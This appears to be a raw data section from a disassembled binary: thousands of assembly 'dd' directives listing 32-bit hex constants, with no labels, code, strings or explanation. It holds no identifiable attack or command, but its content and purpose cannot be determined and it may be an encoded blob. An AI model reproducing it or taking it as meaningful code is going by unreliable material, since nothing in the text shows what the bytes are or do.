		dd 24D44939h, 6EFFCCh, 68CB22D6h, 2BA860A2h, 9ABAC800h
		dd 0DACD63B0h, 0C1E31E40h, 0EBBF0095h, 7628C00Eh, 631C8307h
		dd 0B300F4B7h, 79942FCFh, 0E10C0038h, 20AB496Ch, 0E200A28Ch
		dd 0CA0D5A08h, 0B9FB87h, 0DBBEE7A8h, 0D6F2AA3Bh, 0E361DD00h
		dd 0F87602ECh, 289D1858h, 0A6521035h, 96F27071h, 5A44A90Fh
		dd 4687E055h, 0A3C894h,	37305D0h, 92999CBCh, 91593Eh, 87C43872h
		dd 2AD9D15h, 0D3C9A05Bh, 6C6A5044h, 0DF08F280h,	4A2CF71Eh
		dd 90001B63h, 0B85A45CFh, 7EE10047h, 66DBFDDCh,	53FE9F8Fh
		dd 323ABD03h, 0C04911DFh, 188D180Ah, 104028EBh,	0CB027006h
		dd 369A57F6h, 0D5E5E0A1h, 9FA9004Eh, 242F4091h,	5400CE1Bh
		dd 75A6CB10h, 7FFDFCCh,	0EFC13413h, 47676026h, 0C0F7AFACh
		dd 66053036h, 0E8F5D86Ah, 3CE1DCD0h, 640A0182h,	104C13CCh
		dd 0CA60FC2Eh, 0BD007CE4h, 24DB427Eh, 26143EF7h, 1D8E92Dh
		dd 0D39F45C5h, 0FC7BC1D2h, 86E0855Bh, 9C9E9400h, 39D1168Ah
		dd 7F1FAD5h, 0CE91A6DBh, 79007E78h, 86FE158Dh, 1E84D100h
		dd 2C31D75Dh, 892D140Ch, 0D8004C09h, 0B9A79EDBh, 281C88EBh
		dd 7C5FC8EDh, 2CC0B113h, 1A643Dh, 9DB09E49h, 0CF6CA798h
		dd 9F49700h, 0F0B17F66h, 4AD80061h, 60CC7C15h, 6A00C1E5h
		dd 0D3F78386h
		dd 74CE72h, 6B734F3Dh, 0FD25F37Dh, 83F48498h, 112E0A09h
		dd 23A7809Dh, 9A0D598h,	0C5A87AD3h, 0A157C0A0h,	0DD1F6FA7h
		dd 33C092B7h, 0B9CADC66h, 0C920EF15h, 27180EA5h, 904038F2h
		dd 51D37D42h, 0B6D6B700h, 6C0C329Eh, 0AF1300F0h, 77F8FF4h
		dd 0E30071DDh, 0BDEB236Bh, 0E634ECFEh, 0E4BE13F3h, 0EE880EFh
		dd 7A09496Dh, 813B28B0h, 3E8215DFh, 37B1E20h, 0FB26375Ah
		dd 99F803E2h, 0C30A9BDDh, 9CFD2B05h, 3C209C16h,	28519FF4h
		dd 0D4168Eh, 0DA09EFFCh, 8A215F6h, 7B48BA62h, 50C05FC5h
		dd 0E40938FAh, 819B1D87h, 46421104h, 8498CC70h,	3BADCD00h
		dd 0B605F307h, 0B15E26CCh, 7A130184h, 0E438D7C2h, 8B0075EBh
		dd 7B6706D2h, 1AC78F8h,	0A5E5D4C7h, 645F902Dh, 0D2001E2Ch
		dd 958EFE3Dh, 16865477h, 606249h, 0DA4C3184h, 0C0009304h
		dd 3ADD0A7Eh, 0B017B2F5h, 0E991093Ch, 0F283FD67h, 62804BDEh
		dd 0CE0BE150h, 8124BCBAh, 41DAA23Fh, 9200003Ch,	7B85848Dh
		dd 0D6031ED1h, 0EF327A67h, 0CF5B80B2h, 7C2E03D9h, 0CBF9EE8Dh
		dd 398A7B3h, 20012DD3h,	84E62B26h, 99E1DFD5h, 1A3470h
		dd 0CA27B356h, 7C8B2F6Ah, 0BFC47000h, 1D3AEB74h, 9F3E07CBh
		dd 602A5463h, 26162FBAh, 0D49440FFh, 5D00DB61h,	4E0033Fh
		dd 919827h, 0F31A92FAh,	0FBB7F197h, 0A2FDD8EBh,	0FBB4DD38h
		dd 0CD9B3F00h, 33224509h, 4FE3016Eh, 76213B6Ch,	0D864B040h
		dd 5E1CDEh, 45F6A14Ah, 0E05A7F2Bh, 59991000h, 630212D8h
		dd 80BC9113h, 5F3BF377h, 0B550AE22h, 0E5000EB8h, 0A6643A27h
		dd 0D798EBh, 9AB012EEh,	0D2CEB851h, 1B01BD7Dh, 820AC25Dh
		dd 602061DEh, 535A0006h, 80694C49h, 2D009D9Ch, 0AFA1E143h
		dd 5F4F8Fh, 8652D835h, 749A1AD9h, 18895E00h, 0AD07E57Eh
		dd 0F63700EBh, 0E6AAB301h, 7200B23Dh, 2F13671Ah, 46F038h
		dd 82644415h, 4749884Bh, 2700C0B0h, 0C1D987F7h,	481365AAh
		dd 18262C09h, 721F03E8h, 0A88922CFh, 8954D410h,	1CC9353Fh
		dd 0F9C0FE3Fh, 0C6632D2Eh, 80D20057h, 945B79CFh, 9F0333E8h
		dd 58404B5Eh, 0EF380084h, 0CB2CEB81h, 0C9004943h, 3A6C9BC1h
		dd 48E0ECD5h, 0C23CA46Ah, 4D23EF0Ah, 0C04C1CB5h, 2C30E599h
		dd 53000413h, 70CF8210h, 1407DFh, 85181F97h, 8CD58F23h
		dd 0E11EF304h, 0E7C10569h, 0DDDC86F1h, 3A090670h, 0F030D96Ch
		dd 4C3C9500h, 7A1C6082h, 0F968006Fh, 754F4345h,	560336AAh
		dd 20503B5Dh, 0F27E09Bh, 0F6C8E6BFh, 8AA1005Bh,	0F3CB6C4Ah
		dd 2204F550h, 0F9F2C932h, 0D91588C0h, 7C550068h, 0A351B7D2h
		dd 595D6B83h, 8E980EF4h, 47A9C7EBh, 0EC303127h,	6E5BB3h
		dd 4D94078h, 44F4AE52h,	4A5D8900h, 0B242F7A0h, 8DE70079h
		dd 0FF301A91h, 0B03EFAF4h, 0B72098C0h, 7001C8h,	0D7DBD393h
		dd 0BD8BD824h, 7ABB9100h, 6CC70C7Dh, 0CBC812B5h, 547000D6h
		dd 8E6ECF27h, 8600B7B8h, 5BD742B6h, 0D0C82Dh, 594B96EEh
		dd 4EB7CAEFh, 16893609h, 73E98053h, 0B6F362h, 0F6ED9EEEh
		dd 186EA1B0h, 65F1261Ch, 91DD5900h, 0D5DF4Fh, 0C446BC0Eh
		dd 71553786h, 39DCD00h,	61BD7F43h, 5B560020h, 0E546745Ch
		dd 62052A3Ch, 970745EDh, 28FDC007h, 3B5724D1h, 0B1AAE4h
		dd 0D58B60C0h, 5887ACF1h, 0FA68C809h, 0C594401Ch, 0CBFB0CA1h
		dd 0B526D17Ch, 3426B40Fh, 60F8E0CAh, 2A48816h, 0D153A6C2h
		dd 84E8703Dh, 46FA9584h, 0F0ADEF00h, 0ED6EC183h, 152C0207h
		dd 99A5AE03h, 1D72F8F0h, 0B493B900h, 882561A2h,	4CB57ECDh
		dd 0AA0BDCF0h, 0C5864581h, 0E9181120h, 0C3A85242h, 15220390h
		dd 8817958Fh, 0B81B21B0h, 9293993Bh, 84C765A0h,	0C12B307Ch
		dd 1644DC40h, 86B9C8EEh, 39E0F37Fh, 9F20C807h, 6A3C709h
		dd 83DCF813h, 10AF0008h, 0B0248DC0h, 267444F6h,	54C6050Ch
		dd 0E3220D4h, 0D71C3A85h, 6B29380h, 53000D39h, 0BBE71130h
		dd 2FFEBDEh, 0C99C334Dh, 2E0176Ch, 641F2C54h, 5AC04CAFh
		dd 0EDC3F5F8h, 0E2080F6Dh, 3242C084h, 0C5C063DCh, 79063CE8h
		dd 7EC4D9F4h, 45373008h, 71954320h, 0B6227800h,	0F50B7A4Bh
		dd 0D79A006Dh, 0B97504DBh, 0B800C91Bh, 0E5E95335h, 0C02FE3D6h
		dd 13D92D9h, 0A80FC750h, 39963EAFh, 21803708h, 4906ECEFh
		dd 3B7F8D9Ch, 0C1515503h, 0F0E76C0Dh, 0C4DC30B4h, 308699B0h
		dd 23A97152h, 1D11613Ch, 71098001h, 0F4E8A4E9h,	0B0009D6Dh
		dd 2B7955AFh, 1002D9B1h, 40B29FBAh, 880F6B54h, 0A15901C3h
		dd 0FF1E5595h, 1C50930h, 306CC00Eh, 8038DBE1h, 1CF1A831h
		dd 78C8E05h, 0D488CEB2h, 219D46B0h, 25007972h, 8266B70Ch
		dd 0E06DF1AFh, 6B0244B4h, 32799360h, 1044EEF6h,	18ADD359h
		dd 16C91085h, 0FC8D3008h, 917E444Ah, 2C666A03h,	9027FB5Bh
		dd 3C11A383h, 0F7C88205h, 1E6B7F00h, 66E274BBh,	1C00B6F0h
		dd 10D99B75h, 0E8E67E73h, 5CFEBAh, 9E6019B7h, 4F5ECE7h
		dd 51A01E1Dh, 0D0273C80h, 84BE07h, 0FB5E1988h, 0F0C78B3Eh
		dd 0D56A8200h, 0CC451E36h, 0B4FE0096h, 546D282Fh, 0EE907721h
		dd 49858D00h, 20BC1F65h, 8976004Fh, 1E9DADB5h, 0EB00EF0Ch
		dd 1A061DD8h, 1F1D3DBh,	6D86A24Dh, 0E8959C69h, 30010914h
		dd 5CF513BBh, 0FA80D7D6h, 0AD99F3A8h, 0A60053DAh, 0C63A5917h
		dd 73F7192h, 0D775C8C5h, 0FCA440C3h, 25004B60h,	89AAACD0h
		dd 1F81AFF8h, 80F1D68Dh, 0C197566Ch, 0A9489276h, 9CD41979h
		dd 0BB0ED708h, 0BE022D81h, 0C9070B17h, 0C042D0EDh, 0E0225846h
		dd 0F2606C3Ah, 0A6015Ch, 2CC53E1Dh, 644FBC9h, 5B4605D1h
		dd 4222920h, 3C192261h,	1045D722h, 39EA8AEFh, 20954480h
		dd 9350C441h, 0D645CD28h, 0EF129FC9h, 200F1484h, 80ED97F4h
		dd 0E3886348h, 414B89E4h, 94967A3Ch, 850B429h, 14CAC7A5h
		dd 0F9192827h, 43B0A18Bh, 0C986F814h, 334B2322h, 5C519B10h
		dd 8BADC900h, 29F44DCBh, 9942007Ah, 83D768A7h, 0F500752Fh
		dd 910764CCh, 42546EBh,	0E2B68EF2h, 496C1EDh, 716CECE6h
		dd 45844100h, 3B7E81B5h, 37AD3B36h, 400DA11Ch, 0F1C4E693h
		dd 0FA000EB1h, 4DB714BBh, 3D7DA5D8h, 44022AFBh,	3226AA03h
		dd 9881B7E0h, 41C47C07h, 2862D3FCh, 1100D534h, 3A7F49B7h
		dd 658F6D00h, 6E83AD3Ch, 5FED0032h, 0F6A16370h,	86007EACh
		dd 2FE93767h, 7798F3h, 2879D34h, 0B65AB4E3h, 0F2A2DE3Ch
		dd 720BC49h, 935D8489h,	917BA110h, 356B00FEh, 9F2B7207h
		dd 0FB0162BBh, 38849E37h, 0F5D5EE26h, 36F95E0h,	8D7C32A7h
		dd 0C380A081h, 8E02C64Dh, 8975173Ah, 3CE25F97h,	128A5086h
		dd 4122BA00h, 4E96F3A4h, 0A8E300EDh, 68D7BC1Eh,	9C1C5AB5h
		dd 1440DDD3h, 0C0D4A918h, 84450374h, 0EC211953h, 851B8DD8h
		dd 0EB1F97E6h, 2C8F0D42h, 8359CF26h, 0B9A786D2h, 7D60584Bh
		dd 0BFC71F0Eh, 0E602CF7Bh, 5C91405Eh, 9CFCE795h, 0AF5A4100h
		dd 15A8B5ADh, 6E4E3EC4h, 233C3100h, 712CEBD3h, 137F93Bh
		dd 0A0547D9Bh, 7CCC4824h, 31883AA7h, 3BC6C100h,	0D6353077h
		dd 0F52F1800h, 0EB3D7162h, 55170050h, 0F7F3D253h, 0DAEA7ABFh
		dd 5275E600h, 74DFA7EFh, 2E760F1Bh, 411D649Fh, 2D18DDE3h
		dd 98B2CBA9h, 0B6B88E80h, 51007D36h, 64D53505h,	12A268h
		dd 0EA86ABC3h, 0C7AF23FEh, 83896300h, 7FD5B11Dh, 0E83E00D0h
		dd 7E2531CEh, 2D00C0D6h, 0A3FF3574h, 0F8B56EAEh, 96660017h
		dd 68FA56ECh, 9A011B42h
		dd 0B08C1EF3h, 0ACE0497Bh, 0F891E028h, 756800BDh, 6DE17209h
		dd 31001D35h, 0E98F78B3h, 0F58B59h, 0FEDE88Ah, 794D86C2h
		dd 4576287Ch, 0C52D5603h, 0D0994E9Ch, 0F0A933D9h, 0F26706F6h
		dd 1878D35Eh, 97AF9C00h, 0C452180Ah, 4C3F054h, 0EFBE0358h
		dd 44A0880Ch, 0BD9EDA1Dh, 0FB14F880h, 597C6Eh, 0E0EF78BAh
		dd 0D8FDBF9Ch, 95394F00h, 1C6F90ECh, 0BC8100D6h, 0AE5D9382h
		dd 64008930h, 964C3DFCh, 7990E0Fh, 196A1BA2h, 2217F052h
		dd 310E6FDFh, 0C0DC0182h, 34A7D754h, 923C721Ch,	0EBE3077Ch
		dd 6091C45Bh, 0CAAA7FF7h, 0E21C84F6h, 180CD54h,	2781FBEFh
		dd 7EF31D69h, 18D84028h, 0A71399FAh, 8903B2F8h,	0D1CA3E80h
		dd 8CC9C8C2h, 5DBD3E96h, 0F4800D3Ch, 0EB4D0171h, 8E002DDEh
		dd 5EB4FA1Eh, 42003DAh,	54AA9437h, 0CDAC80E0h, 0AC0034EBh
		dd 0A40C09D1h, 358739h,	93108D37h, 2A45F255h, 4FEDF10Fh
		dd 16AC47C5h, 0C0BA4D00h, 1CFCDBh, 0E221B339h, 9F60D5DEh
		dd 60F81A26h, 1363E103h, 0DA14E012h, 43207FBh, 0B05BE5D8h
		dd 0C4ABD9CDh, 8E5DAE1Eh, 20B34B09h, 0EBE7ED28h, 2E5E0029h
		dd 0C90D4D8h, 0A909C9DDh, 800B83E0h, 0CD8EAB74h, 9D3139C3h
		dd 86BE6D00h, 0C14DEC5Dh, 3E522A14h, 5EE700F0h,	19116AEEh
		dd 0B1E800D8h, 0D58935FCh, 41004F1Bh, 0D38CBAD4h, 37CCB6Fh
		dd 284B0755h, 11B0BEBCh, 0C93E781Fh, 81240337h,	0E3053584h
		dd 75C3CFAAh, 0B2BDE03Fh, 79C40701h, 80141B5Ch,	0F1514ED2h
		dd 38EE6D00h, 1CBB38Ch,	0E0AE4F27h, 11005A7Fh, 0A63677E3h
		dd 548796h, 0D302BD1h, 0FF495B6Bh, 31CB1A24h, 0B2004C1Ch
		dd 295F6D76h, 4788008Eh, 0C74A4375h, 3BEE7CC0h,	6DD56100h
		dd 0A936941Eh, 0E8E1503Ch, 4A3002A5h, 335109F8h, 5D6AEC81h
		dd 3BB7CC1Dh, 6C8FDD00h, 0DEC60F6Fh, 3C7958ADh,	0B1952900h
		dd 0BEECA368h, 4ADCFE00h, 8B7D6B99h, 0FA022876h, 0CCA926E8h
		dd 7BA828C0h, 0FD6E1E5Fh, 0F7F080F4h, 2079B513h, 2B104800h
		dd 0B9D137C8h, 0AE3B3C2Ah, 7C657A6h, 2354FF19h,	0F988D974h
		dd 831D6884h, 1D424A0Eh, 0C060B1E2h, 0EA484Bh, 0BCF23AA4h
		dd 9E92B4DBh, 0DDA72404h, 2080D968h, 3B58EBDh, 917063A4h
		dd 0D2B05D8Fh, 0A0F4CA35h, 0BCC1C30Fh, 0BB4EC029h, 4C3196A3h
		dd 93001FF2h, 19BE2D21h, 0AE004987h, 2F9BC58Bh,	4C0E55h
		dd 0B2F79994h, 7BD7851Dh, 0AD2EE503h, 988C3414h, 7BF3C66h
		dd 10F10B6h, 0EDFA5131h, 0DCF6D4A1h, 32976000h,	771E5363h
		dd 2BE003D3h, 1B37A6C4h, 0C1CC0595h, 0DFE8034h,	95EAEFEDh
		dd 0BB8CFB1Eh, 0A97FBC40h, 75B98C8h, 0BACAE06Bh, 4E1A803Dh
		dd 2570F15Eh, 9C637A00h, 79600570h, 984579C1h, 85CC80F9h
		dd 9141720Dh, 0D90580B4h, 0FD1622E8h, 0A20C2A0Fh, 48CCD53Dh
		dd 206700D0h, 3BD7A78Bh, 18016090h, 0C43ACCD0h,	0FA275B00h
		dd 22F9945Dh, 0F4690708h, 70B7AC5Ah, 6477513Fh,	319A4F00h
		dd 0E91B96D6h, 43520027h, 5B66E5A6h, 7600158Ah,	0E4D63D88h
		dd 70977h, 4549A313h, 1DF48CE1h, 0D500E0F2h, 22113A68h
		dd 1F2A0C8Bh, 80344FE3h, 5B2DBACFh, 0FE0721FFh,	0F0F109C3h
		dd 89A557F3h, 0FDC8433Fh, 0D6AA169Dh, 825A1C41h, 6B36A046h
		dd 0F70E0754h, 18807C8Ch, 0B86FD4E5h, 0EEF6005Dh, 56107746h
		dd 0A800523Bh, 0DB733CA5h, 1720625h, 872C643Ah,	0FC9453F3h
		dd 77786E14h, 39A5D58h,	48C4973Ch, 6769E8ADh, 620E0E26h
		dd 0C580249Fh, 218485ACh, 0DE0327EAh, 492505E0h, 524B9069h
		dd 1B820189h, 6B97D7ADh, 0A89064B2h, 569B122Eh,	2136CA00h
		dd 7F45CABh, 8832CC18h,	8713406Eh, 0C23C8175h, 48A78373h
		dd 0D8A394ECh, 0D0398Dh, 656B1ADAh, 418FE69Ch, 9B5D7700h
		dd 2745DEA8h, 50740099h, 627333A1h, 0A6603AE0h,	0DF2FB504h
		dd 0C0660098h, 0A8F1A068h, 11C606Eh, 0FF87EA4Bh, 32541EF6h
		dd 0CF3535C0h, 0CBF00FF4h, 0A3401B3Ah, 914FB006h, 0F5BEC101h
		dd 881470AFh, 0F0ACA140h, 0D8300027h, 1BE65DEBh, 1500C831h
		dd 0CD9FBD56h, 387D3970h, 628ED38Fh, 7141BE05h,	20342163h
		dd 27709190h, 29FD030h,	18F1A88h, 2B514BFCh, 0E8C37831h
		dd 0B25E72CEh, 9502D9ACh, 746FBC0Fh, 0C8A888E0h, 1F5F0D00h
		dd 5572E82Eh, 1A073F88h, 0B2353819h, 902222h, 0C449135Ch
		dd 4B468965h, 747EA0EDh, 0DF8FB901h, 408710A4h,	47190C1h
		dd 0F86DB8E7h, 13483FE0h, 0F5553200h, 9592FB6Ch, 0B131ED01h
		dd 0C5C996B5h, 4741D8F3h, 8B0C26F3h, 0A4541821h, 0B60FC838h
		dd 98B902h, 660F9C5Dh, 1F711D9Eh, 0F275C0CBh, 9A04FBD2h
		dd 0FC4D6E00h, 2B799FD5h, 38930134h, 95F86877h,	0DFD2F884h
		dd 5EF52500h, 14EB7C81h, 96B900ABh, 99EDB217h, 0F8003B5Ah
		dd 70780952h, 24E3DDh, 7232289Ch, 0F088319Bh, 5865BA01h
		dd 768DE29Fh, 2EDDDF40h, 49C30075h, 10A3E07Ah, 5300EA7Eh
		dd 0E1550EDEh, 1F32E97h, 3C86966Eh, 0D06F8CEDh,	0E40ECB50h
		dd 203E94FAh, 77ABA921h, 8CB90088h, 0D14648CDh,	0B1385855h
		dd 503F0038h, 37494BB3h, 1FF70C81h, 0A110B45Fh,	0FD8B5603h
		dd 0C098B6D7h, 92A4F3h,	954E364h, 0E293B5F5h, 0D6569E27h
		dd 0D1CF001Eh, 31F1487Ah, 0F8CD9507h, 0EAD0559Bh, 6907FEh
		dd 0EC978983h, 320EFBBFh, 128EC400h, 0DC539260h, 0B6F0AFh
		dd 405A6BB8h, 743A1523h, 6F0B3300h, 85FE62EBh, 1737B41h
		dd 9414EECAh, 0C4FC1526h, 30091E3h, 0A8C09EEFh,	7D4E88h
		dd 0DA247946h, 0E8333F13h, 0DFA05709h, 86BF809Dh, 396E76C1h
		dd 7824BFC9h, 9F910008h, 0FC756699h, 9E070F00h,	2714C450h
		dd 8E180084h, 6244D031h, 0C5028A2Fh, 79CA30E2h,	874BE0C6h
		dd 0CF2B007Ch, 9488D077h, 0C3001F57h, 149767EAh, 1F2F3A55h
		dd 807FDCE9h, 3999358Bh, 0A2004466h, 0FA4BDDD7h, 803824h
		dd 626C13A1h, 0AF937646h, 0FEDE2A01h, 2E71C8E9h, 2E4FE8C8h
		dd 3E4CC925h, 5085F80h,	0AE725AF5h, 56C57D00h, 584320D8h
		dd 461E005Eh, 5D0B02B3h, 0D9E63AACh, 3B342A00h,	5EBA8469h
		dd 0EC253D80h, 0ED057785h, 818406FFh, 0E912A8DFh, 3440621Fh
		dd 6960F12Bh, 0F03B00A0h, 64A6BE4Ch, 7100705Ch,	13484EEh
		dd 4B412Bh, 0A47DCD20h,	0CC78C4B0h, 58D35500h, 6B6DFDCh
		dd 8283E4Fh, 16A46800h,	0F75B5490h, 8E20B500h, 4CDCEF58h
		dd 0FD2FEBFh, 235DE97Bh, 0FFF861E3h, 0C63020B8h, 0A6006EEAh
		dd 0D01A54C2h, 0BCBD5Eh, 94F4B901h, 8810E174h, 83A9A10Ch
		dd 6BD03Bh, 44D36751h, 7CCD5DD7h, 0D8B9FE28h, 0A62C7904h
		dd 7800292Fh, 0A7AD3DAh, 0D42667E2h, 2B007DF3h,	4560191Ah
		dd 811100B2h, 0C5ED93A2h, 0D400EE73h, 90B69252h, 295BE3h
		dd 0CD2BF378h, 833608F2h, 1807B7EEh, 2D2CC220h,	8253B6F0h
		dd 0A9328A9h, 0E6F4B4h,	51AD1E36h, 0BAFB064h, 9F37F800h
		dd 0CDFD2220h, 4F3F0325h, 0E31DB145h, 2F7A0EC8h, 0AAA63D00h
		dd 0E7948F15h, 4D4B3CDBh, 386D92h, 0ED123E28h, 3530878Eh
		dd 0AC7CA8DDh, 0BC2750CDh, 0BA5300A7h, 0AE9129AAh, 2E7E4950h
		dd 9A018179h, 0E01D72ADh, 86C4526Dh, 0FE5F016Ah, 2FE6B310h
		dd 0F3A8507Ah, 0DA006313h, 93AB12A9h, 9034A581h, 228F09DDh
		dd 6301162Eh, 0F814D2FCh, 2B1C9402h, 0C54C3BBFh, 2FDAB9h
		dd 0D959E81Ah, 0D35C2A83h, 9CA8DA63h, 64B792B5h, 0ACF53828h
		dd 7F6B4B8Fh, 0D9004D6Bh
		dd 0DC629A40h, 4CEE5AB8h, 79EB6501h, 2F68296Eh,	0B90F70h
		dd 410B1DA9h, 0F2D77136h, 7A811912h, 0C9FF000h,	0F6FADA30h
		dd 0CC4100D4h, 0B6705EAEh, 2E01EF37h, 0B40FCA36h, 0CDC1DE8Bh
		dd 0A6A4C4h, 8D70D1ECh,	9E8A391Fh, 8CE6E0EBh, 7B0031F8h
		dd 0D33E01DCh, 0EF9E733h, 14F2E07Dh, 68974720h,	10C0DF04h
		dd 4C8DA75Eh, 8775022Dh, 3F53705Ah, 0B62A880h, 0F8A0077Dh
		dd 0F50077A1h, 353B134Dh, 380DF008h, 3A80912Ch,	8E5D1D3Dh
		dd 71073EDCh, 0D831F7B7h, 8F7E1BF0h, 42A7007Ah,	0C816928Ah
		dd 0EC02FA25h, 7F938598h, 230C4005h, 3BAA00EAh,	0F14772ACh
		dd 560046E8h, 0BFD82C58h, 30556F10h, 2AF83E5Fh,	4900070Eh
		dd 632D1B85h, 8BA718h, 0B3446497h, 0C2B7EB38h, 0E4626713h
		dd 71280401h, 52E0D435h, 11A5099Dh, 0F080027Ah,	0EB3D9FE2h
		dd 54068678h, 0AA9E9C62h, 0B2383C48h, 0E0B98A00h, 463F4A9Fh
		dd 16C3B500h, 9BAB4F02h, 1A7500B2h, 9FDEF8FFh, 50090D65h
		dd 21E43582h, 0EFE936A0h, 5D1AA8EFh, 9E7F00F7h,	73C8CFD1h
		dd 307162Ch, 78E0B135h,	1798C7E1h, 0D9398F7h, 1124606Fh
		dd 0DC8CDF82h, 28027775h, 6C21CEB3h, 2215C9Ch, 6FC95270h
		dd 0B9C2BC40h, 0E713BD00h, 182F390Ah, 51061F84h, 69AC2Ah
		dd 0C890C2BBh, 73018C08h, 0AB31611Bh, 14FCF035h, 23F9018Eh
		dd 0DC2C52C1h, 0DE5CC15h, 64A15700h, 0EBCD2F26h, 0BD9C007Eh
		dd 22CFDC67h, 0CD909D70h, 5AA12D00h, 0C81A247Ch, 0F9AC1F87h
		dd 0FFCB4055h, 0A5257B36h, 1BA11701h, 0AFFC3C64h, 0B077B084h
		dd 0FBE300BAh, 830920h,	0A9F1FE9Eh, 0BF035B19h,	0B2D55000h
		dd 916B83Ah, 679100E6h,	1AD178FDh, 0C509802Fh, 81EF4744h
		dd 0FF2C5C20h, 4582D8h,	80CDB4F7h, 6D5273B8h, 0E78EDC00h
		dd 4DF1861Ah, 14EE53h, 0A32E2A62h, 5159299h, 0F2D42203h
		dd 0D0E22981h, 0A111D3EFh, 7FE42414h, 0F28A88E0h, 96389713h
		dd 0D8730Fh, 0CEC20CE3h, 28C1488h, 7207C48Fh, 0D085D26Eh
		dd 75CDC30Ah, 2F659900h, 0B6CA3717h, 339200AEh,	0A8A5D02h
		dd 0DB000B7Ah, 54BFD676h, 241DFDh, 0E32246B6h, 0A46577A5h
		dd 4A19C1Eh, 3613E540h,	39A96D67h, 6B811E9Fh, 0A723CA53h
		dd 4EEC6005h, 0C002BF00h, 0D8281B97h, 3AC9007Fh, 34E9592Dh
		dd 2200DE54h, 0B06DE2A4h, 9BCCF7h, 0A2FA19A0h, 0BCBACDF6h
		dd 0B5E33300h, 0F18A382h, 913600D4h, 1307DF17h,	0B7003022h
		dd 1E2097C3h, 2C5F5949h, 0AF1867h, 0EFD7B4E0h, 0A01C33CDh
		dd 5B0015D0h, 35577EC5h, 588C17CEh, 3111C3Ah, 0DCC24CB2h
		dd 28C462D0h, 8D8B9100h, 5D9CF5E5h, 2E7231h, 0B37EA71Bh
		dd 0BC7499B6h, 13034777h, 355BC36Bh, 5AF3B054h,	0DA8B0011h
		dd 0A1D679C6h, 0A500C00Dh, 401F5BABh, 0EBDED9h,	0F44609FBh
		dd 637C4B7Ah, 96908906h, 4CD0DAF7h, 8E010567h, 0DB55C236h
		dd 573020CFh, 844F390Fh, 3C4AC078h, 50F58A30h, 4DF7E2h
		dd 4E5699CBh, 9355903Eh, 10B338h, 2F49438Bh, 95045Dh, 0B98DF6DAh
		dd 5036C818h, 0A74C6000h, 400278DDh, 0E427754Eh, 0B3F60F44h
		dd 0B35413h, 807BF51Eh,	21004DADh, 95D2C285h, 1F6F89CCh
		dd 8063403Dh, 1A656B3Eh, 1B7F9D50h, 4E66BF00h, 0B7F0AEEBh
		dd 111502E5h, 8D197477h, 6048CC80h, 7B00F43Bh, 0E0F7F596h
		dd 0BD6909h, 14ED45FFh,	0D7D5CC7Fh, 0F0530100h,	41CBC33Fh
		dd 4E9E0319h, 87622F8Dh, 5281CC88h, 3A254300h, 0AC6622DBh
		dd 67F0670h, 0EE37C842h, 4C308509h, 75BC8016h, 23ABD7h
		dd 0B102970Dh, 55F2253Dh, 8A565Ch, 0EF1196BAh, 79BECAAh
		dd 849F980Ch, 0B1B2201Ch, 1B00BFAEh, 38C63221h,	3AEE3493h
		dd 0E98162C2h, 1810024Eh, 548AD4BEh, 0D40028A2h, 0C6B918Ch
		dd 702120Fh, 1CDAA0A4h,	2EF808h, 2944B617h, 93BF4797h
		dd 0FFC7C900h, 59BE67CAh, 586B004Ch, 0FB01AFF4h, 0EA122441h
		dd 1000D452h, 4A86E3C7h, 488B0F28h, 18EE3A09h, 0FBC1A6C0h
		dd 0F207C988h, 2EAEAFB7h, 7D8A3B40h, 0D17104DBh, 0D02696DEh
		dd 57218500h, 43508E00h, 0DA6B1458h, 0BDD80135h, 6937594Ch
		dd 8142DD0Dh, 0A1786818h, 0E6F58DCBh, 3869Fh, 1897D22h
		dd 1CE2D76Ah, 7C0058E2h, 318748B9h, 5C49A9h, 0B3957716h
		dd 3538A55Dh, 0FECAC00h, 141E6C55h, 2FCD0322h, 0DD9F1B0Ch
		dd 702BAED1h, 500EFB8h,	0F00DE958h, 624415h, 4A30CB6Eh
		dd 0C2DF3225h, 0A7D41807h, 8A002737h, 42C12Eh, 0B7DEECC3h
		dd 3C0B2A6Fh, 5E07700Fh, 91140B3h, 72FF1D12h, 0B035009Ch
		dd 8B0FA344h, 39FA80D1h, 0AE143400h, 0BD9DF336h, 436A0040h
		dd 0DCDAAF45h, 0AC01EBBFh, 0EFE7DE0Ch, 9B30F3D5h, 9A3E1EA5h
		dd 0B2E90064h, 407339DCh, 1DBEF100h, 455B5A93h,	56D70077h
		dd 5CDBD5E9h, 4F008E64h, 0DD866F69h, 0A868FAh, 0FD1DB743h
		dd 0C26BD81h, 0A3BEE700h, 63237329h, 9079E8h, 0F3D2B04Dh
		dd 19E3B993h, 5C4A820Fh, 0DEAB413Dh, 14F8785Ah,	62700C4h
		dd 6B8A9524h, 0C803B397h, 96634662h, 3EF290E8h,	2B610005h
		dd 5DA9D0DEh, 6451B519h, 216C30B4h, 0E0018EE2h,	5F220A26h
		dd 2DC01929h, 0B889003Ch, 1FEE8272h, 5E1CBA30h,	4A87C811h
		dd 58E6C2A3h, 0DCDE1F10h, 41F5009Bh, 0B270336Fh, 0F869C100h
		dd 0D10E646h, 9CD500E3h, 0ACA61842h, 640B5E6Ch,	808A96BBh
		dd 0CF2D6EBEh, 1610C0B8h, 7019355Fh, 65470800h,	5C3DE4DBh
		dd 12530091h, 71424F66h, 0B71F5682h, 0FDC0A9A6h, 9D86F60Fh
		dd 27901DEEh, 0CDE140EBh, 0BB2B07EDh, 285A2D01h, 0D0A3C04Dh
		dd 8D98140h, 0DD5C3D85h, 44439384h, 9F72814Eh, 0C8EBD86Eh
		dd 85340400h, 804A5692h, 0A3F4004Fh, 0C22FD231h, 0BB721A81h
		dd 2986A400h, 0B2097F7Dh, 1DB007F2h, 1474DFBh, 0D4D75532h
		dd 730BBB3Ch, 8005DCA7h, 0C3FF6607h, 0F09E882h,	0B525E842h
		dd 0C0E01DFEh, 0A02DC6FEh, 21D3807h, 978045F9h,	0F0AD6E21h
		dd 398F03B3h, 0E9C4589Fh, 3C8C1D90h, 8079E43Ah,	80291C33h
		dd 0BB304Ah, 0BA14DD89h, 79DABEECh, 58B63901h, 330157B8h
		dd 1E6DE8h, 0A0F1F2FEh,	87ED06E8h, 6E245307h, 18A06888h
		dd 266F78h, 6308DF2Ch, 757287C4h, 0A7FA6600h, 4865C2AFh
		dd 79894C23h, 4CB2F275h, 3F0782F4h, 10E255DDh, 0EF1CD3E5h
		dd 0DCF22600h, 70313458h, 430C00A1h, 840BD811h,	0B5036EB9h
		dd 8FCE6394h, 8596E803h, 0CF3C0ED1h, 9D400D4Bh,	0CCC89367h
		dd 0E8798B00h, 5CAF7AFEh, 569A0320h, 816CE540h,	0EC7BD000h
